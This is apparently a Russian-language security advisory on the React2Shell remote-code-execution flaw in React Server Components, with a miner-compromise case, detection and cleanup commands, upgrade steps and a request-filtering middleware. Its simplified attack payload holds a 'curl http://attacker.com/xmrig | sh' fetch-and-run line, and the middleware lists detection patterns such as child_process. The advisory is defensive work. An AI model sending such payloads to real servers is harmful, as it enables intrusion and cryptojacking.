React2Shell: Критическая RCE в React 19
CVE-2025-55182 — удалённое выполнение кода без аутентификации
Активная эксплуатация китайскими группами угроз в течение нескольких часов после раскрытия
Критическая ситуация
Что происходит прямо сейчас
3 декабря 2025 года была раскрыта критическая уязвимость Remote Code Execution в протоколе Flight, используемом React Server Components. React2Shell позволяет атакующему выполнить произвольный код на сервере без аутентификации через отправку специально сформированного HTTP-запроса.
Масштаб угрозы
React используется на десятках миллионов сайтов по всему миру:
- По консервативным оценкам: более 11 миллионов сайтов используют React (данные 2025 года)
- По другим данным: свыше 55 миллионов сайтов построены на React
- Популярные сервисы: Facebook, Instagram, Netflix, Airbnb, Uber, WhatsApp Web
- Корпоративный сектор: тысячи enterprise-приложений
- Государственные сервисы: множество правительственных порталов
Китайские группы угроз начали эксплуатировать уязвимость в течение нескольких часов после её публичного раскрытия, по данным Amazon AWS Security.
- Проверьте версию React в вашем проекте немедленно
- Обновите до безопасной версии (19.0.1, 19.1.2 или 19.2.1)
- Проверьте логи сервера на предмет подозрительной активности
- Проверьте процессы — нет ли новых пользователей или майнеров
- Измените все пароли и ключи если обнаружена компрометация
Реальный случай компрометации
Опыт администратора: от уязвимости до майнера
Что произошло
Администратор сервера обнаружил компрометацию после эксплуатации уязвимости CVE-2025-55182. В системе был обнаружен:
- Новый пользователь в системе — создан без ведома администратора
- Криптомайнер XMRig — активно использовал CPU для майнинга Monero
- Высокая нагрузка CPU — до 100% на всех ядрах
- Подозрительные процессы — скрытые под легитимными именами
- Backdoor для постоянного доступа — возможность повторного входа
Как это обнаружили
# Проверка новых пользователей
cat /etc/passwd | tail -n 10
# Поиск подозрительных процессов
ps aux | grep -i xmrig
ps aux | grep -i miner
ps aux | sort -nrk 3,3 | head -n 10 # Топ по CPU
# Проверка сетевых соединений
netstat -tunlp | grep ESTABLISHED
ss -tunlp | grep :3333 # Порт майнинг-пула
# Поиск подозрительных файлов
find / -name "*xmrig*" 2>/dev/null
find / -name "*miner*" 2>/dev/null
find /tmp -type f -executable 2>/dev/null
# Проверка crontab
crontab -l
cat /etc/crontab
ls -la /etc/cron.d/
# Проверка автозагрузки
systemctl list-units --type=service --state=running
ls -la /etc/systemd/system/
Типичные признаки майнера XMRig
- Процесс с высоким CPU: 90-100% нагрузка на ядра
- Подозрительные имена: kswapd0, systemd-journal, [kworker/0:1]
- Сетевые соединения: к адресам майнинг-пулов (порты 3333, 5555, 7777)
- Файлы в /tmp или /var/tmp: исполняемые без расширения
- Скрытые процессы: начинаются с точки или пробела
- Автозапуск: через cron, systemd или rc.local
Что делать при обнаружении
# 1. Остановить подозрительные процессы
killall -9 xmrig
pkill -9 -f miner
# 2. Удалить созданного пользователя
userdel -r suspicious_user
# 3. Найти и удалить майнер
find / -name "*xmrig*" -exec rm -f {} \;
find /tmp /var/tmp -type f -executable -delete
# 4. Очистить crontab
crontab -r
rm -f /etc/cron.d/*suspicious*
# 5. Удалить systemd сервисы
systemctl stop suspicious.service
systemctl disable suspicious.service
rm /etc/systemd/system/suspicious.service
# 6. Проверить SSH ключи
cat ~/.ssh/authorized_keys
rm ~/.ssh/authorized_keys # если есть неизвестные ключи
# 7. Изменить все пароли
passwd root
passwd your_user
# 8. Проверить и восстановить файлы
rpm -Va # для CentOS/RHEL
debsums -c # для Debian/Ubuntu
# 9. Обновить систему
apt update && apt upgrade -y # Debian/Ubuntu
yum update -y # CentOS/RHEL
# 10. Перезагрузить сервер
reboot
Если ваш сервер был скомпрометирован:
- Считайте, что все данные могли быть украдены
- Измените все пароли к базам данных, API, сервисам
- Ротируйте все SSH ключи и сертификаты
- Проверьте логи за последние недели
- Рассмотрите полное восстановление системы из бэкапа
- Уведомите пользователей о возможной утечке данных
Технические детали уязвимости
Как работает эксплойт React2Shell
Уязвимость CVE-2025-55182 присутствует в React Flight Protocol — экспериментальном протоколе для серверных компонентов React (RSC). Проблема связана с небезопасной десериализацией данных, позволяющей атакующему внедрить и выполнить произвольный JavaScript код на сервере.
Затронутые компоненты
| Пакет | Описание | Уязвимые версии | Статус |
|---|---|---|---|
react |
Основная библиотека React | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | Критично |
react-server-dom-webpack |
Webpack интеграция для RSC | 19.0.0 - 19.2.0 | Критично |
react-server-dom-parcel |
Parcel интеграция для RSC | 19.0.0 - 19.2.0 | Критично |
react-server-dom-turbopack |
Turbopack интеграция для RSC | 19.0.0 - 19.2.0 | Критично |
react-router |
React Router (при использовании RSC) | Зависит от React 19 | Критично |
waku |
Minimal React framework | Все версии с React 19 | Критично |
Механизм атаки
// Уязвимый серверный компонент (УПРОЩЁННО)
// React Server Component в версиях 19.0.0 - 19.2.0
// Сервер принимает данные от клиента
async function handleRSCRequest(request) {
const payload = await request.text();
// УЯЗВИМОСТЬ: небезопасная десериализация
const deserializedData = parseFlightStream(payload);
// Выполнение функций из десериализованных данных
const result = await deserializedData.execute(); // ❌ RCE!
return result;
}
// Атакующий отправляет специально сформированный payload:
const maliciousPayload = {
"$$typeof": Symbol.for("react.element"),
"type": {
"$$typeof": Symbol.for("react.module.reference"),
"name": "child_process", // Импорт опасного модуля
"filename": "./exploit.js"
},
"props": {
"children": [
{
"type": "exec", // Выполнение команды
"props": {
"command": "curl http://attacker.com/xmrig | sh" // 💀 Загрузка майнера
}
}
]
}
};
Что может сделать атакующий
- Выполнить произвольный код на сервере с правами Node.js процесса
- Получить доступ к файловой системе и прочитать конфигурации
- Украсть переменные окружения с паролями БД, API ключами
- Создать новых пользователей для постоянного доступа
- Установить майнеры (XMRig, CPU/GPU miners)
- Установить backdoor для удалённого управления
- Модифицировать данные в БД
- Использовать сервер для атак на другие системы
- Полностью вывести приложение из строя
Почему это CVSS 10.0?
- Attack Vector: Network — атака через сеть (удалённо)
- Attack Complexity: Low — простая эксплуатация
- Privileges Required: None — аутентификация НЕ нужна
- User Interaction: None — действия пользователя не требуются
- Scope: Changed — выход за пределы уязвимого компонента
- Confidentiality: High — полная потеря конфиденциальности
- Integrity: High — полная потеря целостности данных
- Availability: High — полная потеря доступности сервиса
Итог: максимально возможная оценка CVSS 10.0 из 10.0
Как проверить свой проект
Пошаговая диагностика
Шаг 1: Проверка версии React
# Проверить версию React
npm list react react-dom
# Или через package.json
cat package.json | grep -E "react|react-dom"
# Пример УЯЗВИМОГО вывода:
# ├── react@19.0.0 ❌ УЯЗВИМО!
# └── react-dom@19.0.0 ❌ УЯЗВИМО!
# Пример БЕЗОПАСНОГО вывода:
# ├── react@19.2.1 ✅ БЕЗОПАСНО
# └── react-dom@19.2.1 ✅ БЕЗОПАСНО
# NPM audit
npm audit
# Yarn audit
yarn audit
# PNPM audit
pnpm audit
# Вывод покажет CVE-2025-55182 если уязвимо
Шаг 2: Проверка использования RSC
Уязвимость затрагивает только проекты с React Server Components. Обычные клиентские React приложения (без 'use server') не уязвимы.
# Поиск файлов с 'use server'
grep -r "use server" src/ app/
# Проверка RSC пакетов
npm list | grep "react-server-dom"
# Проверка Next.js конфигурации
cat next.config.js | grep -i server
# Проверка React Router
npm list react-router
Шаг 3: Проверка сервера на компрометацию
# 1. Проверка новых пользователей (создан за последние 7 дней)
find /home -maxdepth 1 -type d -mtime -7
# 2. Проверка подозрительных процессов
ps aux | grep -E "xmrig|miner|crypto"
top -b -n 1 | head -20
# 3. Проверка сетевых соединений к майнинг-пулам
netstat -tunlp | grep -E "3333|5555|7777|14444"
# 4. Проверка недавно измененных файлов
find /tmp /var/tmp -type f -mtime -7
find /usr/bin /usr/local/bin -type f -mtime -7
# 5. Проверка cron jobs
crontab -l
cat /etc/crontab
ls -la /etc/cron.d/
# 6. Проверка systemd сервисов
systemctl list-units --type=service --state=running | grep -v "loaded active"
# 7. Проверка логов на подозрительную активность
journalctl -u node --since "1 week ago" | grep -i error
tail -n 1000 /var/log/syslog | grep -E "unauthorized|failed|invalid"
# 8. Проверка истории команд
history | grep -E "wget|curl|chmod|useradd"
Как исправить уязвимость
Обновление до безопасной версии
- React 19.0.1+ (для ветки 19.0.x)
- React 19.1.2+ (для ветки 19.1.x)
- React 19.2.1+ (для ветки 19.2.x — рекомендуется)
Способ 1: Быстрое обновление (NPM)
# 1. Обновить React до последней безопасной версии
npm install react@19.2.1 react-dom@19.2.1
# 2. Автоматическое исправление всех уязвимостей
npm audit fix
# 3. Если требуется force update
npm audit fix --force
# 4. Обновить зависимости
npm update
# 5. Проверить что уязвимость устранена
npm audit
# Должно вывести:
# found 0 vulnerabilities ✅
Способ 2: Обновление через Yarn
# 1. Обновить React
yarn upgrade react@19.2.1 react-dom@19.2.1
# 2. Проверить уязвимости
yarn audit
# 3. Переустановить все зависимости
yarn install
# 4. Проверка
yarn audit
Способ 3: Ручное обновление package.json
{
"dependencies": {
// ❌ БЫЛО (уязвимо):
// "react": "^19.0.0",
// "react-dom": "^19.0.0"
// ✅ СТАЛО (безопасно):
"react": "^19.2.1",
"react-dom": "^19.2.1",
// Также обновите связанные пакеты:
"react-router": "^6.28.0",
"react-router-dom": "^6.28.0",
"next": "^15.1.0" // если используете Next.js
},
"devDependencies": {
"@types/react": "^19.0.2",
"@types/react-dom": "^19.0.2"
}
}
# 1. Удалить старые зависимости
rm -rf node_modules package-lock.json
# 2. Переустановить
npm install
# 3. Проверить безопасность
npm audit
# 4. Пересобрать проект
npm run build
# 5. Перезапустить приложение
pm2 restart all # если используете PM2
# или
systemctl restart your-app
Проверка после обновления
# 1. Проверить установленные версии
npm list react react-dom
# Вывод должен показать:
# ├── react@19.2.1 ✅
# └── react-dom@19.2.1 ✅
# 2. Запустить audit
npm audit
# found 0 vulnerabilities ✅
# 3. Проверить работу приложения
npm run dev
# или
npm start
# 4. Проверить логи
tail -f logs/app.log
journalctl -u your-app -f
⚡ Обновите немедленно!
Активная эксплуатация происходит прямо сейчас.
Каждая минута увеличивает риск полной компрометации сервера
Дополнительная защита
Меры безопасности после обновления
1. Настройка мониторинга
# Установка fail2ban для защиты от атак
apt install fail2ban -y
# Настройка alerting для высокой загрузки CPU
cat > /etc/cron.hourly/cpu-monitor <<'EOF'
#!/bin/bash
CPU_USAGE=$(top -bn1 | grep "Cpu(s)" | awk '{print $2}' | cut -d'%' -f1)
if (( $(echo "$CPU_USAGE > 80" | bc -l) )); then
echo "High CPU usage: $CPU_USAGE%" | mail -s "CPU Alert" admin@example.com
fi
EOF
chmod +x /etc/cron.hourly/cpu-monitor
# Мониторинг новых процессов
cat > /usr/local/bin/process-monitor.sh <<'EOF'
#!/bin/bash
ps aux | grep -E "xmrig|miner|crypto" | mail -s "Suspicious Process" admin@example.com
EOF
chmod +x /usr/local/bin/process-monitor.sh
# Добавить в cron (каждые 30 минут)
echo "*/30 * * * * /usr/local/bin/process-monitor.sh" | crontab -
2. Усиление безопасности сервера
- Обновите все системные пакеты:
apt update && apt upgrade -y - Настройте файрвол: разрешите только необходимые порты
- Отключите root SSH:
PermitRootLogin noв sshd_config - Используйте SSH ключи: отключите парольную аутентификацию
- Включите автообновления:
apt install unattended-upgrades - Настройте AppArmor/SELinux: для изоляции процессов
3. Логирование и аудит
// middleware для логирования подозрительных запросов
import winston from 'winston';
const securityLogger = winston.createLogger({
level: 'info',
format: winston.format.json(),
transports: [
new winston.transports.File({ filename: 'security.log' })
]
});
export function securityMiddleware(req, res, next) {
// Логировать все RSC запросы
if (req.headers['rsc'] === '1' || req.url.includes('/_flight')) {
securityLogger.info({
timestamp: new Date().toISOString(),
type: 'RSC_REQUEST',
ip: req.headers['x-forwarded-for'] || req.ip,
userAgent: req.headers['user-agent'],
url: req.url,
method: req.method
});
}
// Детектировать подозрительные паттерны
const suspiciousPatterns = [
/eval\(/i,
/Function\(/i,
/child_process/i,
/__proto__/i
];
const body = JSON.stringify(req.body);
const isSuspicious = suspiciousPatterns.some(p => p.test(body));
if (isSuspicious) {
securityLogger.error({
type: 'SUSPICIOUS_REQUEST',
severity: 'CRITICAL',
ip: req.ip,
body: body.substring(0, 500)
});
return res.status(403).json({ error: 'Forbidden' });
}
next();
}
4. Web Application Firewall (WAF)
- Cloudflare WAF: автоматические правила против React2Shell
- AWS WAF: настройте правила для блокировки эксплойтов
- ModSecurity: open-source WAF с поддержкой OWASP правил
- Azure WAF: встроенная защита для Azure Web Apps
Часто задаваемые вопросы
Ответы на важные вопросы
1. Мой проект использует React 19, но без RSC. Я уязвим?
Нет, вы не уязвимы. Уязвимость CVE-2025-55182 затрагивает только проекты с React Server Components (RSC). Если вы используете обычные клиентские компоненты React (без директивы 'use server'), ваше приложение в безопасности.
Однако рекомендуется все равно обновиться до последней версии для получения других исправлений безопасности.
2. Как понять, использую ли я RSC?
Вы используете RSC если:
- В коде есть директива
'use server' - Используете Next.js 13+ с App Router
- Установлены пакеты
react-server-dom-* - Используете React Router в экспериментальном RSC режиме
- Используете фреймворки: Waku, Parcel RSC, Vite RSC plugin
3. Что делать, если нельзя обновиться прямо сейчас?
Временные меры (не замена обновлению!):
- Отключите RSC в конфигурации (если возможно)
- Заблокируйте доступ к RSC эндпоинтам через firewall/WAF
- Ограничьте доступ по IP whitelist
- Включите интенсивный мониторинг
- Подготовьте план экстренного обновления
⚠️ Это НЕ защищает полностью. Обновитесь как можно скорее!
4. Может ли антивирус защитить от эксплуатации?
Нет. Это уязвимость на уровне приложения. Антивирусы обычно не детектируют эксплуатацию веб-уязвимостей в реальном времени. Они могут обнаружить только уже загруженные файлы майнеров.
Единственная надёжная защита — обновление React.
5. Как долго уязвимость была неизвестна?
Уязвимость была обнаружена командой безопасности и ответственно раскрыта команде React. Публичное раскрытие произошло 3 декабря 2025 года вместе с патчами.
К сожалению, китайские группы угроз начали эксплуатацию в течение нескольких часов после раскрытия, по данным Amazon AWS Security.
6. Влияет ли это на React Native?
Нет. Уязвимость затрагивает только React Server Components, которые не используются в React Native. Мобильные приложения на React Native не подвержены этой уязвимости.
Полезные ресурсы
Официальные источники и документация
Официальные источники
- React Security Advisory: react.dev/blog
- CVE-2025-55182: NVD Database
- GitHub Security Advisory: GitHub
- npm Security Advisory: проверьте через
npm audit
Инструменты для проверки
- npm audit: встроенный инструмент проверки уязвимостей
- Snyk: автоматическое сканирование зависимостей
- Dependabot: GitHub автообновление зависимостей
- OWASP Dependency-Check: проверка известных уязвимостей
Экспертные мнения и анализ
- AWS Security Blog: анализ эксплуатации китайскими группами
- Google Cloud Security: рекомендации по защите
- Microsoft Security: Azure WAF правила
- Palo Alto Networks: технический анализ уязвимости
Заключение
Критически важная информация
- CVE-2025-55182 (React2Shell) — критическая уязвимость с CVSS 10.0/10.0
- Активная эксплуатация происходит прямо сейчас
- 11-55 миллионов сайтов потенциально уязвимы
- Не требуется аутентификация для эксплуатации
- Полная компрометация сервера возможна за считанные секунды
- Реальные случаи взлома с установкой майнеров XMRig
🔥 Действуйте немедленно!
Если вы используете React 19.0.0, 19.1.0, 19.1.1 или 19.2.0 с Server Components:
- Немедленно обновите React до 19.2.1
- Проверьте сервер на признаки компрометации
- Измените все критичные пароли и ключи
- Настройте мониторинг и алерты
- Включите WAF с правилами против React2Shell
💡 Помните
Безопасность — это не одноразовое действие, а непрерывный процесс. После обновления продолжайте следить за новостями безопасности, используйте автоматические инструменты проверки зависимостей и регулярно обновляйте все компоненты вашего приложения.